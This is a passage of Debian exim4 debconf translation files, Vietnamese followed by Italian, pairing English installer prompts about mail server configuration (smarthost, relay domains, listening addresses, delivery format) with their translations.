msgstr "Tên thư của hệ thống:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "« Tên thư » là tên miền được dùng để « dè dặt » các địa chỉ thư không có tên " "miền." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Tên này sẽ cũng được dùng bởi các chương trình khác. Nó nên là tên miền đầy " "đủ đơn (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Chẳng hạn, nếu địa chỉ thư nằm trên máy cục bộ là « foo@miền.com » thì giá " "trị đúng cho tùy chọn này là « miền.com »." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Tên này sẽ không xuất hiện trên dòng « Từ : » của thư gửi đi, nếu khả năng " "ghi lại đã được hiệu lực." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Mỗi đích khác cho đó chấp nhận thư :" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Hãy nhập danh sách định giới bằng dấu chấm phẩy chứa các miền nhận cho chúng " "máy này nên là đích đến cuối cùng. Những miền này thường được gọi là « miền " "cục bộ ». Tên máy cục bộ (${fqdn}) và « localhost » được thêm tự động vào " "danh sách này." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Mặc định là mọi miền được xử lý một cách trùng. Nếu cả « a.com » lẫn « b.com " "» đều là miền cục bộ, « tàik@a.com » và tàik@b.com » sẽ được phát cho cùng " "một đích cuối cùng. Nếu tên miền khác nhau nên được xử lý một cách khác " "nhau, cần phải chỉnh sửa các tập tin cấu hình sau." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Miền cho đó cần tiếp lại thư :" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Hãy nhập danh sách định giới bằng dấu chấm phẩy các miền nhận cho chúng hệ " "thống này sẽ chuyển tiếp thư, chẳng hạn như là MX hay cổng ra phụ. Có nghĩa " "là hệ thống này sẽ chấp nhận thư cho những miền này từ bất cứ nơi nào nằm " "trên Mạng, cũng phát chúng tùy theo các quy tắc phát thư cục bộ." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Không ghi vào đây miền cục bộ. Cho phép sử dụng ký tự đại diện." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Máy cho đó cần tiếp lại thư :" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Hãy nhập danh sách định giới bằng dấu chấm phẩy các phạm vi địa chỉ IP cho " "chúng hệ thống này sẽ chuyển tiếp thư một cách không điều kiện, thực hiện " "chức năng của máy khéo." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Bạn nên sử dụng định dạng địa chỉ/tiền tố chuẩn (v.d. 194.222.242.0/24 hoặc " "5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Nếu hệ thống này không nên là máy thông minh cho máy khác nào, hãy bỏ trống " "danh sách này." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Tên miền hiển thị cho các người dùng cục bộ :" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Tùy chọn để ẩn tên thư tín cục bộ trong các thư gởi đi đã được bật. Vì vậy " "cần phải ghi rõ tên miền hệ thống này nên sử dụng cho phần miền của địa chỉ " "người gởi của người dùng cục bộ." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Địa chỉ IP hay tên miền của máy thông minh gởi đi:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Hãy nhập địa chỉ IP hoặc tên máy của máy phục vụ thư tín mà hệ thống này nên " "sử dụng như là máy khéo gửi đi. Nếu máy khéo này chấp nhận các thư của bạn " "chỉ trên cổng khác với TCP/25, hãy phụ thêm hai dấu hai chấm và số hiệu cổng " "(v.d. « máy_thông_minh.com::587 » hay « 192.168.254.254::2525 »). Mỗi dấu " "hai chấm nằm trong địa chỉ kiểu IPv6 nên được nhân đôi." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Nếu máy khéo cần thiết xác thực, xem tài liệu Đọc Đi đặc trưng cho Debian " "trong thư mục « /usr/share/doc/exim4-base » để tìm thông tin về cách thiết " "lập tiến trình xác thực SMTP." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Người nhận các thư được gởi cho người chủ/chủ bưu điện:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Thư tín cho các tài khoản « postmaster » (chủ bưu điện), « root » (người " "chủ) và các tài khoản hệ thống khác cần phải được chuyển tiếp tới tài khoản " "người dùng của quản trị hệ thống thật." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Nếu giá trị này được bỏ trống, các thư như vậy sẽ được lưu vào « /var/mail/" "mail », mà không được khuyến khích." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Ghi chú rằng các thư cho chủ bưu điện (postmaster) nên được đọc trên hệ " "thống tới đó nó được gửi đầu tiên, hơn là được chuyển tiếp tới máy khác, vì " "vậy (ít nhất) một của những người dùng được liệt kê ở đây không nên chuyển " "tiếp thư ra máy này. Một tiền tố « real- » (thật) có thể được dùng để buộc " "phát cục bộ." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Nhiều tên người dùng nên được định giới bằng dấu cách." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Mỗi địa chỉ IP trên đó cần lắng nghe sự kết nối SMTP được gởi đến:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Hãy nhập một danh sách định giới bằng dấu chấm phẩy các địa chỉ IP. Trình " "nền SMTP Exim sẽ lắng nghe trên tất cả các địa chỉ IP được liệt kê ở đây." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Giá trị rỗng sẽ gây ra Exim lắng nghe sư kết nối trên mọi giao diện mạng sẵn " "sàng." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Nếu hệ thống này chỉ nhận được thư một cách trực tiếp từ các dịch vụ cục bộ" "(không phải từ máy khác), khuyên bạn cấm các sự kết nối bên ngoài đến trình " "nền Exim cục bộ. Dịch vụ như vậy bao gồm chương trình thư điện tử (MUA) mà " "liên lạc chỉ với localhost, cũng như fetchmail. Không thể kết nối từ bên " "ngoài khi địa chỉ « 127.0.0.0 » được nhập vào đây, vì nó sẽ tắt khả năng " "lắng nghe trên giao diện mạng công cộng." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Giảm số việc truy vấn DNS (quay số khi yêu cầu) không?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Trong chế độ thao tác chuẩn, Exim tra cứu DNS khi khởi chạy, cũng khi nhận " "hoặc phát thư. Hoạt động này cho mục đích ghi lưu, và để giảm số giá trị đã " "mã hoá cứng trong cấu hình." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Nếu hệ thống này không có bộ quyết định dịch vụ đầy đủ DNS có sẵn vào mọi " "lúc (chẳng hạn nếu cách truy cập Mạng là tuyến quay số dùng khả năng quay " "khi yêu cầu), hoạt động này có thể gây ra kết quả không được muốn. Chẳng " "hạn, việc khởi chạy Exim, hoặc chạy hàng đợi (thậm chí nếu không có thư nào " "đợi) có thể gây ra một sự kiện quay số đắt." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Tùy chọn này nên được bật nếu hệ thống này đang dùng khả năng Quay Số Khi " "Yêu Cầu. Còn nếu hệ thống luôn luôn có thể truy cập Mạng, tùy chọn này nên " "được tắt." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Cấu hình máy phục vụ thư" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Chia tập tin cấu hình ra nhiều tập tin nhỏ không?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Những gói exim4 của Debian có thể sử dụng hoặc « cấu hình chưa xẻ », chỉ một " "tập tin lớn (/etc/exim4/exim4.conf.template) hoặc « cấu hình đã xẻ », mà các " "tập tin cấu hình Exim được xây dựng từ khoảng 50 tập tin nhỏ nằm trong « /" "etc/exim4/conf.d/ »." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Cấu hình chưa xẻ là thích hợp hơn với sự sửa đổi lớn hơn, cũng thường ổn " "định hơn, còn cấu hình đã xẻ cung cấp một cách dễ dàng để làm sự sửa đổi nhỏ " "hơn, nhưng là dễ vỡ hơn, có thể vỡ nếu được sửa đổi luộm thuộm." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Một cuộc thảo luận chi tiết hơn về cấu hình kiểu xẻ và chưa xẻ nằm trong tài " "liệu Đọc Đi đặc trưng cho Debian trong thư mục « /usr/share/doc/exim4-base »." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Ẩn tên thư cục bộ trong mọi thư được gửi đi không?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Những dòng đầu cua thư được gửi đi cũng có thể được ghi lại để có vẻ nó được " "tạo ra trên hệ thống khác. Bật tùy chọn này thì các giá trị « ${mailname} », " "« localhost » và « ${dc_other_hostnames} » trên dòng đầu « Từ » (From), « " "Trả lời cho » (Reply-To), « Người gửi » (Sender) và « Đường dẫn trở về " "» (Return-Path) sẽ được ghi lại." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "định dạng mbox trong « /var/mail/ »" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "định dạng Maildir trong thư mục gốc" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Phương pháp phát thư cục bộ :" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim có khả năng cất giữ các thư được phát cục bộ trong các định dạng khác " "nhau. Những định dạng thường dùng nhất là « mbox » và « Maildir ». mbox dùng " "một tập tin riêng lẻ cho toàn bộ thư mục thư được cất giữ trong « /var/mail/ " "». Còn trong định dạng Maildir, mỗi thư riêng được cất giữ trong một tập tin " "riêng trong « ~/Maildir/ »." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Ghi chú rằng phần lớn công cụ thư tín trong Debian ngờ phương pháp phát thư " "cục bộ là mbox theo mặc định." debian/po/it.po0000644000000000000000000005677512027557533010615 0ustar # Italian messages for exim4 (debconf templates). # Copyright © 2004 Software in the Public Interest, Inc. # Danilo Piazzalunga , 2004. # msgid "" msgstr "" "Project-Id-Version: exim4 4.63-7\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-07-15 13:47+0200\n" "Last-Translator: Giuseppe Sacco \n" "Language-Team: Italian \n" "Language: it\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Generator: KBabel 1.3.1\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Cancellare i messaggi non consegnati dalla directory di «spool»?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Ci sono dei messaggi nella directory di «spool» di Exim, /var/spool/exim4/" "input, che non sono stati ancora consegnati. Rimuovendo Exim i messaggi " "verranno mantenuti lì sinché Exim non verrà reinstallato." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Se questa opzione non è selezionata, la directory di «spool» viene " "conservata in modo che i messaggi possano essere consegnati in futuro, dopo " "una nuova installazione di Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Riconfigurare exim4-config anziché questo pacchetto" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 ha la sua configurazione in un pacchetto dedicato, exim4-config. Per " "riconfigurare Exim4 usare «dpkg-reconfigure exim4-config»." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "sito internet; posta inviata e ricevuta direttamente con SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "posta inviata tramite uno «smarthost»; ricevuta via SMTP o fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "posta inviata tramite uno «smarthost»; niente posta locale" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "solo consegna locale; non in rete" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "nessuna configurazione per il momento" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Tipo di configurazione del sistema di posta:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Selezionare il tipo di configurazione che si adatta meglio alle proprie " "esigenze." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "I sistemi con un indirizzo IP dinamico, compresi i sistemi dialup, " "andrebbero solitamente configurati per inviare la posta in uscita a un'altra " "macchina, chiamata «smarthost», che si occupi della consegna perché molti " "sistemi in Internet bloccano i messaggi in arrivo da macchine con IP " "dinamico come protezione dallo SPAM." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Un sistema con indirizzo IP dinamico può ricevere la propria posta, " "altrimenti la posta locale può essere completamente disabilita (eccetto i " "messaggi per root e postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Lasciare il sistema di posta non configurato?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Fino a quando non viene configurato, il sistema di posta non funziona e non " "può essere usato. Naturalmente è possibile configurarlo in un secondo " "momento, manualmente oppure tramite «dpkg-reconfigure exim4-config» da root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Mail name del sistema:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "Il «mail name» è il nome di dominio utilizzato per dare un contesto agli " "indirizzi email che ne sono privi." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Questo nome verrà usato anche da altri programmi. Dovrebbe essere il nome " "completo del dominio (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Per esempio, se un indirizzo email sulla macchina locale è qualcosa@dominio." "it, allora il valore corretto per questa opzione è dominio.it." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Questo nome non comparirà nel campo From: dei messaggi in uscita se si " "abilita la riscrittura." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Altre destinazioni per conto delle quali accettare posta:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Inserire un elenco di domini separati da punti e virgola per i quali questo " "sistema deve considerare se stesso come destinazione. In genere questi sono " "chiamati domini locali. Il nome host locale (${fqdn}) e «localhost» sono già " "inclusi." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Nella configurazione predefinita, tutti i domini vengono trattati allo " "stesso modo. Se sia a.esempio che b.esempio sono domini locali, acc@a." "esempio e acc@b.ese,pio verranno consegnati alla stessa destinazione. Se si " "desidera altrimenti, è necessario modificare i file di configurazione in " "seguito." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domini per i quali fare il «relay»:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Inserire un elenco separato da punti e virgola di domini destinatari per i " "quali questa macchina farà da «relay», per esempio come MX di scorta o come " "gateway. Questo vuol dire che il sistema accetterà messaggi per questi " "domini da qualsiasi parte di Internet, e poi cercherà di consegnarli con le " "regole locali." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Non inserire qui domini locali. È possibile usare i caratteri jolly." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Sistemi per i quali fare il «relay»:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Inserire un elenco separato da punti e virgola di intervalli di indirizzi IP " "per i quali questo sistema farà da «relay» ovvero da «smarthost»." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Usare il formato standard indirizzo/lunghezza (ad esempio «194.222.242.0/24» " "o «5f03:1200:836f::/48»)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Se questa macchina non dovrà fare da «smarthost» per nessun'altra, lasciare " "il campo in bianco." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Nome di dominio visibile per gli utenti locali:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "È stata abilitata l'opzione per nascondere il nome locale nei messaggi in " "uscita. Diventa quindi necessario specificare un nome di dominio che questa " "macchina utilizzerà negli indirizzi di mittenti di questa macchina." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Indirizzo IP o hostname per lo «smarthost» in uscita:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Inserire l'indirizzo IP o il nome del sel server di posta che dovrà essere " "utilizzato come «smarthost» in uscita. Se questo accetta la posta solo su " "una porta diversa dalla TCP/25, aggiungere due puntie il numero della porta " "(esempio smarthost.esempio::587 o 192.168.254.245::2525). I due punti negli " "indirizzi IPv6 devono essere raddoppiati." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Se lo «smarthost» richiede l'autenticazione, fare riferimento ai README " "specifici per Debian in /usr/share/doc/exim4-base per le indicazioni su come " "impostare l'autenticazione SMTP." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Destinatari della posta di root e postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "I messaggi per «postmaster», «root» e altri account di sistema devono essere " "rediretti all'account utente dell'amministratore di sistema." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Se si lascia il campo bianco la posta viene salvata in /var/mail/mail, che " "non è raccomandato." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "I messaggi per postmaster dovrebbero essere letti sul sistema a cui sono " "destinati e non inoltrati altrove; pertanto, almeno uno degli utenti scelti " "dovrebbe ricevere la propria posta su questo sistema. Anteporre «real-» al " "nome utente per obbligare il sistema a effettuare la consegna localmente." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Più nomi utente vanno inseriti separati da spazi." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Indirizzi IP sui quali attendere connessioni SMTP in ingresso:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Inserire un elenco separato da punti e virgola di indirizzi IP. Il demone " "Exim SMTP ascolterà su tutti gli indirizzi IP qui specificati." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Se non viene specificato alcun valore, Exim si pone in ascolto su tutte le " "interfacce di rete disponibili." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Se questo sistems riceve posta solo da servizi locali (e non altri sistemi), " "è preferibile proibire connessioni dall'esterno verso Exim. Questi servizi " "includono programma di posta elettronica (MUA) che contattano solo " "localhost, oppure fetchmail. Se si inserisce «127.0.0.1» si rende " "impossibile la connessione dall'esterno, disabilitando quindi l'ascolto su " "interfacce di rete pubbliche." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Mantenere al minimo il numero di richieste DNS (dial-on-demand)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Nella modalità predefinita, Exim esegue delle richieste DNS all'avvio, " "quando riceve e consegna un messaggio e in altre occasioni, allo scopo di " "mantenere dei log accurati e di ridurre al minimo il numero di valori fissi " "scritti nel file di configurazione." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Nel caso di un host senza accesso permanente a un server DNS, come nel caso " "di dial-on-demand abilitato, ci potrebbero essere delle conseguenze non " "volute. Per esempio, all'avvio di Exim o durante il controllo della coda " "(anche senza messaggi in attesa) si potrebbe attivare la connessione ad " "Internet." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Questa opzione va abilitata sui sistemi che usano dial-on-demand, va invece " 